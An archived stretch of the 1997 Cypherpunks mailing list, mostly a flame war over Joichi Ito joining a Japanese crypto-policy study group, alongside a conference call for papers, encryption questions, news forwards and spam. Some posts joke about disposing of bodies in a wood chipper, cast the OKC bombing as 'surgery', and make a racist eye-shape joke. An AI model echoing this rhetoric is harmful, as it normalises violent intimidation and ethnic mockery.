  I tend to lean more toward Tim's viewpoint, that there comes a point
when the best option is surgery (a radical Legislat-ectomy?), but I
would not go so far as to suggest that others should not pursue other
treatments which they think may stem the tide of the disease.

  I hope Joichi Ito paid enough attention to the OKC bombing to realize
that some surgeons are less skilled than others, and that there is a
risk in remaining too long in close proximity with cancerous tissue.

DreamMonger
"There's something wrong when I'm a TruthMonger 
   under an increasing number of personas."

From tcmay at got.net  Sun Aug  3 22:04:35 1997
From: tcmay at got.net (Tim May)
Date: Mon, 4 Aug 1997 13:04:35 +0800
Subject: Tim Throws a "Leaner" / Re: Tim Speaks the Truth
In-Reply-To: <199708040346.FAA26108@basement.replay.com>
Message-ID: 

At 8:46 PM -0700 8/3/97, Anonymous wrote:
>Joichi Ito wrote:
>> As for Tim's message... I keep worrying (when I am in Japan) that I'm too
>> radical, so it's nice to hear from someone who is really hardcore to put
>> a wimp like me in my place. ;-P
>
>  Actually, when Tim puts someone in what he considers to be their
>place,
>it usually involves the purchase of a tombstone.

Actually, the trick is to avoid having the body discovered. What goes into
the 10 h.p TroyBilt Chipper/Shredder comes out not needing any kind of
tombstone at all.

Not that I have ever advocated killing mere folks like Joichi with whom I
disagree strongly. (A new quote: "Killfiles don't need tombstones.")

As for Joichi's message quoted above, he should hope to hell that he wakes
up and realizes that not even in Japan can journalists--which is what I
thought he once was, or claimed to be--serve on Ministry committees to
decide how citizen-units may communicate!

Any journalist in Europe or in the U.S. would be seen as having irreparably
compromised his journalistic objectivity by serving on such a panel! And
properly so, of course.

Joichi is of course free to compromise his would-be journalistic standards
as he wishes. We are, of course, equally free to severely criticize this
and to notify "Wired" and other such outlets of his stuff.

(How long do you think Brock Meeks could keep whatever reputation he now
has if he served as a consultant to the National Security Agency?)

>  Japanese society has long been very rule-oriented, in large part as
>a result of the country's geography, population and history.
>  A "No Farting" sign which might reek of totalitarianism when placed
>on the open range, might well seem less so when placed in a two-man
>tent occupied by six people. Environment, geography and the history
>of a a country, society and its people, all play a part in the degree
>to which an individual will view their personal position in regard to
>the society and government around them. And each will perceive the way
>in which they feel they can best promote their beliefs within their
>society and government.

Whatever. A good friend of mine just got back from 10 years in Japan
(Tsukuba and Tokyo), and has filled me in on the "nail that stands up"
stuff. It's hackneyed.

The point is, if Joichi Ito wants to ever be taken at all seriously, as a
reasonable objective reporter of what is happening, his co-opting by the
Japanese Self Defense Forces, Chobetsu, etc., for this "committee" on
crypto policy, must be scrutinized, and almost certainly criticized.

>  It seemed to me that after Jim Bell's arrest, most of the posts to
>the list posted an almost-standard disclaimer: "Actually, although
>I hardly knew the man, thought he was a _loon_, and _disagreed_ with
>most of what he had to say..."

Actually, more people were openly discussing his ideas than before.

I, for one, never dismissed the ideas. I think his ideas are derivative
(cf. my entire sections in the 3-year-old Cyphernomicon, for example). And
his idiosyncratic way of presenting them ("Something _wonderful_ is about
to happen!," "I have an idea") gave the appearance that he was close to
being a loon, if not actually one.

Personally, I see nothing to be gained in the bigger scheme of things by
targetting the Portland office of the IRS, for example. Nor do I think his
"Assassination Politics" market would work in the way Bell claimed it
would: many pointed this out, and Bell never seriously responded (that I
can recall, but, then, I deleted many of his posts).

This has nothing to do with your presumptive point, that we were frightened
by the IRS and other LEA actions and then sought to distance ourselves from
Bell's idea. Nothing could be further from the truth. I, for one, have made
it clear that I will not  inform on Bell, or answer LEA questions unless
subpoenaed or charged. (And possibly not even then. I have not been a
co-conspirator of Bell's, and any questioning of me can be done at my
standard consulting rates. I am willing to be an "expert witness" on some
topics, if my schedule is free.)

>> And nothing but mischief will come out any meetings with government on
>> "crypto policy," as their goals can never be our goals. At least in the
>> U.S., despite obvious flaws, we have a "Congress shall make no law"
>> provision which _tends_ to make government meddling in speech, such as
>> meddling in crypto, more difficult.
>
>  I hope that the "flag" Tim is wrapping himself in isn't the same one
>that he was burning yesterday.
>  {Not that I'm accusing Tim of being purposely deceitful. It's just
>that when we throw a "leaner" instead of a "ringer," they sometimes
>lean in opposite directions.}

Utter bullshit. I have cited the First, Second, and other provisions of the
Constitution for the 5 years of this list. That I would prefer an even more
anarchistic, market-oriented system than we now have, or that I dislike the
hundreds of thousands of laws passed over the last 50 years, is no reason
not to use the protections of the Constitution.  And the line between an
anarchocapitalist and a strict constuctionist is fine indeed. Anyone who
thinks this is "deceitful" is probably one of those folks who says, "Oh,
yeah, well if you dislike government why don't you just refuse to drive on
public roads? Some people are just born stupid.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."

From announce at lists.zdnet.com  Sun Aug  3 22:39:16 1997
From: announce at lists.zdnet.com (announce at lists.zdnet.com)
Date: Mon, 4 Aug 1997 13:39:16 +0800
Subject: Computer Magazine Archive Special Offer!
Message-ID: 

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From jito at eccosys.com  Sun Aug  3 22:48:40 1997
From: jito at eccosys.com (Joichi Ito)
Date: Mon, 4 Aug 1997 13:48:40 +0800
Subject: Joichi gives up / Tim Throws a "Leaner" / Re: Tim Speaks the Truth /  Re: Tim Misfires / Re: Joichi Ito as a Junior Policeman
Message-ID: <199708040542.OAA12229@eccosys.com>

OK. I give up. I think DreamMonger's last comment about at least sort of
believing in my intentions is about the best it will get for me here.
Tim, you're in my killfile now too so I'm not going to respond directly to
your
comments.

Now at least when I am going through the meatgrinder, I won't know if it is
a cypherpunk or a Japanese fascist who's sending me through.

At 05:46 97/08/04 +0200, Anonymous wrote:
>   I hope Joichi Ito paid enough attention to the OKC bombing to realize
> that some surgeons are less skilled than others, and that there is a
> risk in remaining too long in close proximity with cancerous tissue.

Some Japanese conservatives probably think *I* am the cancerous tissue that
their people shouldn't hang out with...

- Joi

--
Finger jito at nsm.eccosys.com or jito at garage.co.jp for PGP Key
Fingerprint for RSA PGP Key ID 0x0EE23A2D
0D3A 7AAA 3DA8 E7B3  3AF1 C6FA B7ED D834
Fingerprint for DSS/Diffie-Hellman PGP Key ID 0x2D9461F1
58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe at ito.com

From ravage at ssz.com  Sun Aug  3 22:56:34 1997
From: ravage at ssz.com (Jim Choate)
Date: Mon, 4 Aug 1997 13:56:34 +0800
Subject: Tim Throws a "Leaner" / Re: Tim Speaks the Truth (fwd)
Message-ID: <199708040544.AAA32292@einstein.ssz.com>

Forwarded message:

> Date: Sun, 3 Aug 1997 22:02:24 -0700
> From: Tim May 
> Subject: Re: Tim Throws a "Leaner" / Re: Tim Speaks the Truth

> As for Joichi's message quoted above, he should hope to hell that he wakes
> up and realizes that not even in Japan can journalists--which is what I
> thought he once was, or claimed to be--serve on Ministry committees to
> decide how citizen-units may communicate!
> 
> Any journalist in Europe or in the U.S. would be seen as having irreparably
> compromised his journalistic objectivity by serving on such a panel! And
> properly so, of course.

As long as they were representing their personal opinions and not acting as
a journalist (ie being paid by a 3rd party) and they disclose the action
there would be compromise on objectivity.

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|

From ravage at ssz.com  Sun Aug  3 22:58:05 1997
From: ravage at ssz.com (Jim Choate)
Date: Mon, 4 Aug 1997 13:58:05 +0800
Subject: Suggested book
Message-ID: <199708040548.AAA32327@einstein.ssz.com>

Hi,

Somebody (I'm too lazy to check the archives) mentioned "The Soveriegn
Individual" by Davisdson & Rees-Mogg. I happened to stumble across it in the
bookstore so I bought it.

While I am only about a 3rd through it and clearly disagree with several
points the main thesis is worth examining. Strongly suggested for any cpunk.

The Sovereign Individual: How to survive and thrive during the collapse
                          of the welfare state
J.D. Davidson & Lord W. Rees-Mogg
ISBN 0-684-81007-7
$25.00

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|

From nobody at REPLAY.COM  Mon Aug  4 00:00:14 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Mon, 4 Aug 1997 15:00:14 +0800
Subject: Palladin Press Announces "Home Composting" by Tim C. May
Message-ID: <199708040642.IAA12930@basement.replay.com>

Tim May wrote: 
> At 8:46 PM -0700 8/3/97, Anonymous wrote:
> >Joichi Ito wrote:
> >> As for Tim's message... I keep worrying (when I am in Japan) that I'm too
> >> radical, so it's nice to hear from someone who is really hardcore to put
> >> a wimp like me in my place. ;-P

> >  Actually, when Tim puts someone in what he considers to be their
> >place, it usually involves the purchase of a tombstone.

> Actually, the trick is to avoid having the body discovered. What goes into
> the 10 h.p TroyBilt Chipper/Shredder comes out not needing any kind of
> tombstone at all.

  This may explain why my paramilitarist neighbor's garden always does
so much better than mine. (It could also explain the bone fragments in
his garden potatoes.)

> Not that I have ever advocated killing mere folks like Joichi with whom I
> disagree strongly. (A new quote: "Killfiles don't need tombstones.")

  Definition of a CypherPunk tragedy: "A Killfile being deleted without
an ASCII Art message in it." 

> The point is, if Joichi Ito wants to ever be taken at all seriously, as a
> reasonable objective reporter of what is happening, his co-opting by the
> Japanese Self Defense Forces, Chobetsu, etc., for this "committee" on
> crypto policy, must be scrutinized, and almost certainly criticized.

  The JSDF, Chobetsu, etc., might well say the same thing about his
co-opting by the CypherPunks.
  I believe that you are right about scrutinizing and criticizing the
work of all politicians and reporters, but I doubt any of us could
ultimately reach agreement on what exactly constitutes being co-opted,
or exactly when one of "us" becomes one of "them."
  I value Declan McCullagh's reporting on privacy and crypto issues,
but I recognize the need to ask him to "take his shirt off" every now
and again so we can check to see if he has an alien creature stuck
to his back, controlling his mind.
  The problem with sending spies and secret agents into the enemy
camps has always been that they may grow to like the enemy's life-
style a little *too* much.

> >> And nothing but mischief will come out any meetings with government on
> >> "crypto policy," as their goals can never be our goals. At least in the
> >> U.S., despite obvious flaws, we have a "Congress shall make no law"
> >> provision which _tends_ to make government meddling in speech, such as
> >> meddling in crypto, more difficult.
> >
> >  I hope that the "flag" Tim is wrapping himself in isn't the same one
> >that he was burning yesterday.
> >  {Not that I'm accusing Tim of being purposely deceitful. It's just
> >that when we throw a "leaner" instead of a "ringer," they sometimes
> >lean in opposite directions.}

> Utter bullshit. I have cited the First, Second, and other provisions of the
> Constitution for the 5 years of this list. That I would prefer an even more
> anarchistic, market-oriented system than we now have, or that I dislike the
> hundreds of thousands of laws passed over the last 50 years, is no reason
> not to use the protections of the Constitution.

  Don't shoot, I was just being fascetious.
  To tell the truth, I find it confusing these days to figure out
*which*
flag is being burned, or used to wrap oneself in, these days. Is it the
flag that defends freedom or the flag that defends children? Is it the
flag that defends the Constitution or the flag that defends "national
security?" {And if it is the flag that defends the Constitution, then
*which* Constitution? The one the founders wrote, or the one being used
as a doormat at the Whitehouse?)

> And the line between an
> anarchocapitalist and a strict constuctionist is fine indeed. Anyone who
> thinks this is "deceitful" is probably one of those folks who says, "Oh,
> yeah, well if you dislike government why don't you just refuse to drive on
> public roads?

  Or, perhaps, "If you dislike government why don't you just refuse to 
participate in it?"
  Different strokes for different folks. Sometimes the pen is indeed
mightier than the sword (or a Ryder truck) and sometimes the almighty
dollar is mightier than either. Regardless, "We have met the enemy, and
he is us." probably comes closer to the heart of the problem with our
societies and governments than any socio-political analysis of the 
issues and events of our time.
  The problem is not who writes what, and the reasons behind it, the
problem is the aspect of our human nature which wants us to believe
in Santa Claus, benevolent government and the goodness of our fellow
man, despite evidence to the contrary. The problem is not who blows
up a building, or a city, the problem is the aspect of our human 
nature which wants us to paint the face of justice or terrorism on
the action instead of recognizing the injustice, regardless of the
necessity, or lack thereof, of the action.

  The bottom line is that, despite our personal beliefs as to "the
meaning of life" and the values and beliefs it should be lived by,
it may well be that this planet's true purpose is to serve as a
compost pile to provide nourishment for more intelligent forms of
life being grown/evolved elsewhere.
  {Keep an eye out for asteroids shaped like a "TroyBilt."}

TruthMonger

From promotions at web-promotions.com  Mon Aug  4 15:02:48 1997
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Date: Mon, 4 Aug 1997 15:02:48 -0700 (PDT)
Subject: Regarding your check
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From Michael.Johnson at mejl.com  Mon Aug  4 00:12:21 1997
From: Michael.Johnson at mejl.com (Mike)
Date: Mon, 4 Aug 1997 15:12:21 +0800
Subject: Microsoft RAS encryption?
In-Reply-To: <3.0.3.32.19970801101506.0092b420@localhost>
Message-ID: <3.0.3.32.19970804085944.0091fd80@localhost>

sameer wrote:
>	See www.l0pht.com
>> Does anybody know how Microsoft RAS implements data encryption? Apparently
>> (http://www.microsoft.com/kb/articles/q136/6/34.htm) they use RC4, but is
>> this stuff documented somewhere, like in an RFC?

What I can find at www.l0pht.com only deals with password authentication.
I'm more interested in the RC4 data encryption that Microsoft RAS servers
and clients are using. That is, once a PPP session is established and
MSCHAP is used to authenticate the session, the secret from MSCHAP is
reused as two RC4 keys with 40 or 128 bit keys (US or International
versions). But I can't find any documents on exactly how this works.

Mike.

From R.Hirschfeld at cwi.nl  Mon Aug  4 15:30:44 1997
From: R.Hirschfeld at cwi.nl (Ray Hirschfeld)
Date: Mon, 4 Aug 1997 15:30:44 -0700 (PDT)
Subject: Financial Cryptography '98 Call for Papers
Message-ID: 

		      Financial Cryptography '98
		   Second International Conference
		 February 23-26, 1998, Anguilla, BWI
			   CALL FOR PAPERS

General Information:

Financial Cryptography '98 (FC98) is a conference on the security of
digital financial transactions.  Meetings alternate between the island
of Anguilla in the British West Indies and other locations.  This
second meeting will be held in Anguilla on February 23-26, 1998.  FC98
aims to bring together persons involved in both the financial and data
security fields to foster cooperation and exchange of ideas.

Original papers are solicited on all aspects of financial data
security and digital commerce in general, including

    Anonymous Payments                      Fungibility       
    Authentication                          Home Banking       
    Communication Security                  Identification     
    Conditional Access                      Implementations    
    Copyright Protection                    Loss Tolerance     
    Credit/Debit Cards                      Loyalty Mechanisms 
    Currency Exchange                       Legal Aspects      
    Digital Cash                            Micropayments      
    Digital Receipts                        Network Payments   
    Digital Signatures                      Privacy Issues     
    Economic Implications                   Regulatory Issues  
    Electronic Funds Transfer               Smart Cards        
    Electronic Purses                       Standards
    Electronic Voting                       Tamper Resistance
    Electronic Wallets                      Transferability

Instructions for Authors:

Send a cover letter and 12 copies of an extended abstract to be
received by November 17, 1997 (or postmarked by November 7, 1997 and
sent via airmail) to the Program Chair at the address given below.

The extended abstract should start with the title, the names of the
authors, and an abstract followed by a succinct statement appropriate
for a non-specialist reader specifying the subject addressed, its
background, the main achievements, and their significance to financial
data security.  Submissions are limited to 15 single-spaced pages of
12pt type.  Notification of acceptance or rejection will be sent to
authors no later than January 12, 1998.

Authors of accepted papers must guarantee that their paper will
be presented at the conference.

Proceedings:

Proceedings of the conference will be published by Springer Verlag in
their Lecture Notes in Computer Science (LNCS) series.  Preproceedings
will be available at the conference, but final versions will not be
due until afterwards, giving authors the opportunity to revise their
papers based on presentations and discussions at the meeting.
Instructions and deadlines for submission of final papers will be sent
later to authors of accepted papers.

Rump Session:

In addition to the regular conference program, a rump session will be
held to provide an opportunity for less formal presentations.
Although the rump session will be organized during the conference
itself, any advance proposals may be sent to the Program Co-Chair at
the email address given below.  Rump session contributions will not
appear in the conference proceedings.

Stipends:

A very limited number of stipends may be available to those unable to
obtain funding to attend the conference.  Students whose papers are
accepted and who will present the paper themselves are encouraged to
apply if such assistance is needed.  Requests for stipends should be
addressed to one of the General Chairs.

Registration:

Information about conference registration and on travel, hotels, and
Anguilla itself will follow in a separate general announcement.  There
will be special discount registration rates for authors of accepted
submissions, full-time academics, and students.

Workshop:

A workshop, intended for anyone with commercial software development
experience who wants hands-on familiarity with the issues and
technology of financial cryptography, is planned in conjunction with
FC98, to be held during the week preceding the conference.  For
information, please contact one of the General Chairs.

Send Submissions to:

Rafael Hirschfeld
FC98 Program Chair
CWI
Kruislaan 413
1098 SJ Amsterdam
The Netherlands
email: ray at cwi.nl
phone: +31 20 592 4169
fax: +31 20 592 4199

Send Rump Session Contributions to:

Matthew Franklin
FC98 Program Co-Chair
email: franklin at research.att.com

Program Committee:

Matt Blaze, AT&T Laboratories--Research, Florham Park, NJ, USA
Antoon Bosselaers, Katholieke Universiteit Leuven, Leuven, Belgium
Yves Carlier, Bank for International Settlements, Basel, Switzerland
Walter Effross, Washington College of Law, American U., Washington DC, USA
Matthew Franklin, AT&T Laboratories--Research, Florham Park, NJ, USA
Michael Froomkin, U. Miami School of Law, Coral Gables, FL, USA
Rafael Hirschfeld, CWI, Amsterdam, The Netherlands
Alain Mayer, Bell Laboratories/Lucent Technologies, Murray Hill, NJ, USA
Moni Naor, Weizmann Institute of Science, Rehovot, Israel
Frank Trotter, Mark Twain Ecash/Mercantile Bank, St. Louis, MO, USA
Doug Tygar, Carnegie Mellon University, Pittsburgh, PA, USA
Moti Yung, CertCo LLC (formerly: Bankers Trust E-Commerce), New York, NY, USA

General Chairs:

Robert Hettinga, Shipwright, Boston, MA, USA
   email: rah at shipwright.com
Vincent Cate, Offshore Information Services, Anguilla, BWI
   email: vince at offshore.com.ai

Exhibits and Sponsorship Manager:

Julie Rackliffe, Boston, MA, USA
   email: rackliffe at tcm.org

Workshop Leader:

Ian Goldberg, Berkeley, CA, USA
   email: iang at cs.berkeley.edu

Those interested in becoming a sponsor of FC98 or in purchasing
exhibit space, please contact the Exhibits and Sponsorship Manager.

A copy of this call for papers as well as other information about the
conference will be available at URL http://www.cwi.nl/conferences/FC98.

From tm at dev.null  Mon Aug  4 01:02:06 1997
From: tm at dev.null (TruthMonger)
Date: Mon, 4 Aug 1997 16:02:06 +0800
Subject: Tim 1 - Joichi 0 - DreamMonger NULL / Re: Joichi gives up / Tim Throws a "Leaner" / Re: Tim Speaks the
Message-ID: <199708040739.BAA02500@wombat.sk.sympatico.ca>

Joichi Ito wrote:
> 
> OK. I give up. I think DreamMonger's last comment about at least sort of
> believing in my intentions is about the best it will get for me here.

  Sure, quit before we even have a chance to use the cheap shots we've
thought up since our last posts. Spoilsport.

> Tim, you're in my killfile now too so I'm not going to respond directly to
> your comments.

  Me neither. I'm going to use email.

> Now at least when I am going through the meatgrinder, I won't know if it is
> a cypherpunk or a Japanese fascist who's sending me through.

  It would probably be considered Politically Incorrect for me to
mention
that eye-shape might be a good indication, so I won't.
  Another indication might be whether your torturers are shouting,
"Confess!
You all an Ameliclan SPY!" or, "We kicked your ass in 'The Big One',
pal."
  If you haven't figured it out by the time you've been put completely
through the meatgrinder, you can still figure it out by noting whether
your remains are being mixed with rice and put in cabbage leaves, or
being coated with barbeque sauce and thrown on a grill.

> At 05:46 97/08/04 +0200, Anonymous wrote:
> >   I hope Joichi Ito paid enough attention to the OKC bombing to realize
> > that some surgeons are less skilled than others, and that there is a
> > risk in remaining too long in close proximity with cancerous tissue.
> 
> Some Japanese conservatives probably think *I* am the cancerous tissue that
> their people shouldn't hang out with...

  "Everybody needs somebody that they can look down on.
   That they can feel better than, at any time they please.
   Someone doing something dirty, decent folks can frown on.
   And if you can't find nobody else, then help yourself to me."
      - Kris Krisofferson

  It has been my experience that it is more fulfilling to be tortured by
CypherPunks than by Conservatives. 
  (And the physical meetings are more fun, too.)

TruthMonger

From jito at eccosys.com  Mon Aug  4 01:17:27 1997
From: jito at eccosys.com (Joichi Ito)
Date: Mon, 4 Aug 1997 16:17:27 +0800
Subject: Tim 1 - Joichi 0 - DreamMonger NULL / Re: Joichi gives up / Tim Throws a "Leaner" / Re: Tim Speaks the
Message-ID: <199708040810.RAA13649@eccosys.com>

At 01:42 97/08/04 EST, TruthMonger wrote:

>   Sure, quit before we even have a chance to use the cheap shots we've
> thought up since our last posts. Spoilsport.

> > Tim, you're in my killfile now too so I'm not going to respond directly to
> > your comments.
> 
>   Me neither. I'm going to use email.

OK. I was trying to not-so-elegantly back out of the big hole I dug for
myself.
To be completely honest, I am fascinated (I don't know if this is the right
word
here...) by this discussion and if we were f-t-f I would probably still be
engaged
but I find Tim's arguments too deep to write off, but I find myself without
enough
time right now to engage with my full attention...and if I don't give this my
full
attention, I'm sure I'll lose... so, I gave up... for now. I'll formulate my
thoughts
and next time, I'll think before I write. Maybe I'll wait for a chance to take
a
stab at Tim later on.

At 00:44 97/08/04 -0500, Jim Choate wrote:
> Forwarded message:
> 
> > Date: Sun, 3 Aug 1997 22:02:24 -0700
> > From: Tim May 
> > Subject: Re: Tim Throws a "Leaner" / Re: Tim Speaks the Truth

> > Any journalist in Europe or in the U.S. would be seen as having
irreparably
> > compromised his journalistic objectivity by serving on such a panel! And
> > properly so, of course.
> 
> As long as they were representing their personal opinions and not acting as
> a journalist (ie being paid by a 3rd party) and they disclose the action
> there would be compromise on objectivity.

Jim, I hope you meant to say "wound not be compromising" in the above
statement.
This may sound like an afterthought, but one of the reasons that I did
such a stupid thing as post my association with a police study group 
here was as a part of being very open about what I was doing and
trying to ask for advice on that basis. Also, FYI, I am not being paid
by the government or any 3rd party. I am not a "consultant" to the
government. I am an "outside expert". I am not representing the police
to the people of Japan, I am trying represent the peoples' interest to
the government... but I'll stop now before I get bashed again.

- Joi

--
Finger jito at nsm.eccosys.com or jito at garage.co.jp for PGP Key
Fingerprint for RSA PGP Key ID 0x0EE23A2D
0D3A 7AAA 3DA8 E7B3  3AF1 C6FA B7ED D834
Fingerprint for DSS/Diffie-Hellman PGP Key ID 0x2D9461F1
58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe at ito.com

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From: 56098393 at rocketmail.com (56098393 at rocketmail.com)
Date: Mon, 4 Aug 1997 17:56:17 -0700 (PDT)
Subject: Finally Found You :^)
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     your email address.  Found you on
     one of those People search engines.

From 56098393 at rocketmail.com  Mon Aug  4 17:56:17 1997
From: 56098393 at rocketmail.com (56098393 at rocketmail.com)
Date: Mon, 4 Aug 1997 17:56:17 -0700 (PDT)
Subject: Finally Found You :^)
Message-ID: <>

This site is the best that I have seen.
They Have Everything ;^)
Meet me in the chat area between
8pm and 1am. I will be either in the
Male or Female area, I like them both.

http://www.adultfunshop.com

I am there every night :^)
I Miss You
	Jenny ;^0~

P.S. Sorry I didn't write you earlier
     But my computer crashed and I lost
     your email address.  Found you on
     one of those People search engines.

From jya at pipeline.com  Mon Aug  4 04:25:30 1997
From: jya at pipeline.com (John Young)
Date: Mon, 4 Aug 1997 19:25:30 +0800
Subject: EC Report on Crypto
Message-ID: <1.5.4.32.19970804110047.00707678@pop.pipeline.com>

     4 August 1997, ComputerWorld:

     Report/ Encryption policy hurts trade 

     U.S. controls on the export of encryption technology and
     telecommunications equipment represent significant barriers
     to international trade, the European Commission said in a
     report last week. 

     The development of digital communications has prompted the
     need for improved protection against the unauthorized use of
     personal data, trade secrets, banking information and
     databases. Without that protection, it is unlikely that
     electronic commerce will take off, said one European
     Commission official. 

     The commission's 13th annual ``Report on United States
     Barriers to Trade and Investment'' said the U.S. is the
     dominant supplier of key computing components, and the
     country's limitations on the export of strong encryption
     products hurts the growth of electronic commerce. 

----------

Anyone with a URL for this report? The EC site is uncrackably
multi-lingual otiose.

From pgut001 at cs.auckland.ac.nz  Mon Aug  4 04:28:15 1997
From: pgut001 at cs.auckland.ac.nz (Peter Gutmann)
Date: Mon, 4 Aug 1997 19:28:15 +0800
Subject: News: Spy Base Expanded
Message-ID: <87069251316788@cs26.cs.auckland.ac.nz>

  CLEAR Net - News
  Spy Base Expanded

  The Government has announced a planned expansion at Blenheim's Waihopai
  spybase to boost New Zealand's ability to monitor satellite communications.

  And the Prime Minister, Jim Bolger, says a change to the Crimes Act will
  allow the base to monitor phone calls by foreigners, which was formerly
  illegal.

Full story at
http://www.clear.net.nz/common/news/archives/articles/00001937.html.

Peter.

From dformosa at st.nepean.uws.edu.au  Mon Aug  4 05:11:58 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Mon, 4 Aug 1997 20:11:58 +0800
Subject: no government regulation of the net (was Re: bulk postage fine)
In-Reply-To: <199708031023.LAA00663@server.test.net>
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 3 Aug 1997, Adam Back wrote:

> David Formosa  writes:

[...]

> > You got to be jokeing, what about alomost every AOL vs. Cyberpromo or
> > Compuserve vs. Cyberpromo or all thouse other ISPs against Cyberpromo.

[...]

> Government backed legal systems are inefficient.  A purely anonymous
> transaction where both parties identity is well concealed is much more
> efficient.

I have truble seeing this working protocol wise,  what is to stop me
taking the money and running (or the product and running).  For some
things such as text and grafics it is possable to use a bye a bit type
protocol.  But for something like the password to the GAK database you
would have have trubble negosating the protocol without someone getting
ripped off.

>  There is no one to sue.  Fighting legal suits is expensive, especially
> in the US.

[...]

> Third party arbitrators holding with a copy of
> the contract, a deposit from each party in escrow, and a reputation as
> a fair arbitrator is much more efficient.

So the escrow agent will get sued instead of you. These agents will have
to pay massive insurance rates and thuse be very expencive to use.

There seems to be an underlieing object of this schem to screw the lawers.
While this is a wounderfull aim I don't think that this schem will do it
as most escrow agents are lawers or soliciters.

> It'll probably help if the arbitration service is anonymous also,

I don't see how you can mainige the joint targets of anonymousaty and
reputation in this schem.  I would be interested if you can.

[...]

> > The spammers if there advertising a servese will need someway for me to
> > contact them.  Some way for me to get the goods.  Just anonomising the
> > email will not hide there identy.  
> 
> True.  But how do you prove to one of these inefficent government
> courts that it is indeed the spam beneficiary who posted the spam.

Look at there email logs, paychecks to Spamford ect in the discovery
phase.

[...]

> > Any way pushing spammer email though most email remailers will cause
> > them to crash from sheare volume.
> 
> That's also not a good thing.

I didn't say it was.  Most likely the anon-admins will make use of
throtelers to stop e-spaming (I beleave thay do this for mail bombs)

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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Charset: noconv

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JWUr1m6wpsE=
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From dformosa at st.nepean.uws.edu.au  Mon Aug  4 05:40:27 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Mon, 4 Aug 1997 20:40:27 +0800
Subject: spam is good for you
In-Reply-To: <199708031314.PAA13935@basement.replay.com>
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

Zooko Journeyman sez:

[...]
: My favorite 
: slogan so far is "I may disagree with every spam you send, but
: I will defend to the death your right to spam it. --Voltaire".

I may disagree with every spam you send, and I'm not going to fucking pay
for it.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

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YviNz2bhpHPXZzEIaAgLb8vwI9YJgqH1BrIjwIarrJyea2QqxwlXV8L2rDSSzSUT
AWCjb4YsXSM=
=CZmA
-----END PGP SIGNATURE-----

From dformosa at st.nepean.uws.edu.au  Mon Aug  4 05:40:41 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Mon, 4 Aug 1997 20:40:41 +0800
Subject: The Poor in Spirit
In-Reply-To: <3.0.2.32.19970803102828.0076fa60@panix.com>
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 3 Aug 1997 frissell at panix.com wrote:

> In a free society, the "poor" have more money (collectively) than the rich
> and outbid them for resources all the time.  Were this not so, communities of
> the "poor" would never increase in size and yet they do.

Death must be popular, everybodies doing it.  If the poor where infact
powerfull thay would be less poor peaple not more.

> I can teach a poor person in America today the simple ways to triple or
> quadruple his income.

Attach your name to the end of this list and forward it to 5 others, in a
few days you will be rolling in cash.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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+VI5R6bMsRE=
=UPYn
-----END PGP SIGNATURE-----

From ravage at ssz.com  Mon Aug  4 05:55:57 1997
From: ravage at ssz.com (Jim Choate)
Date: Mon, 4 Aug 1997 20:55:57 +0800
Subject: Tim 1 - Joichi 0 - DreamMonger NULL / Re: Joichi gives up (fwd)
Message-ID: <199708041244.HAA32722@einstein.ssz.com>

Forwarded message:

> Date: Mon, 04 Aug 1997 16:50:51 +0900
> From: Joichi Ito 
> Subject: Re: Tim 1 - Joichi 0 - DreamMonger NULL / Re: Joichi gives up
>   / Tim Throws a "Leaner" / Re: Tim Speaks the

> At 00:44 97/08/04 -0500, Jim Choate wrote:
> > Forwarded message:
> > 
> > > Date: Sun, 3 Aug 1997 22:02:24 -0700
> > > From: Tim May 
> > > Subject: Re: Tim Throws a "Leaner" / Re: Tim Speaks the Truth
> 
> > > Any journalist in Europe or in the U.S. would be seen as having
> irreparably
> > > compromised his journalistic objectivity by serving on such a panel! And
> > > properly so, of course.
> > 
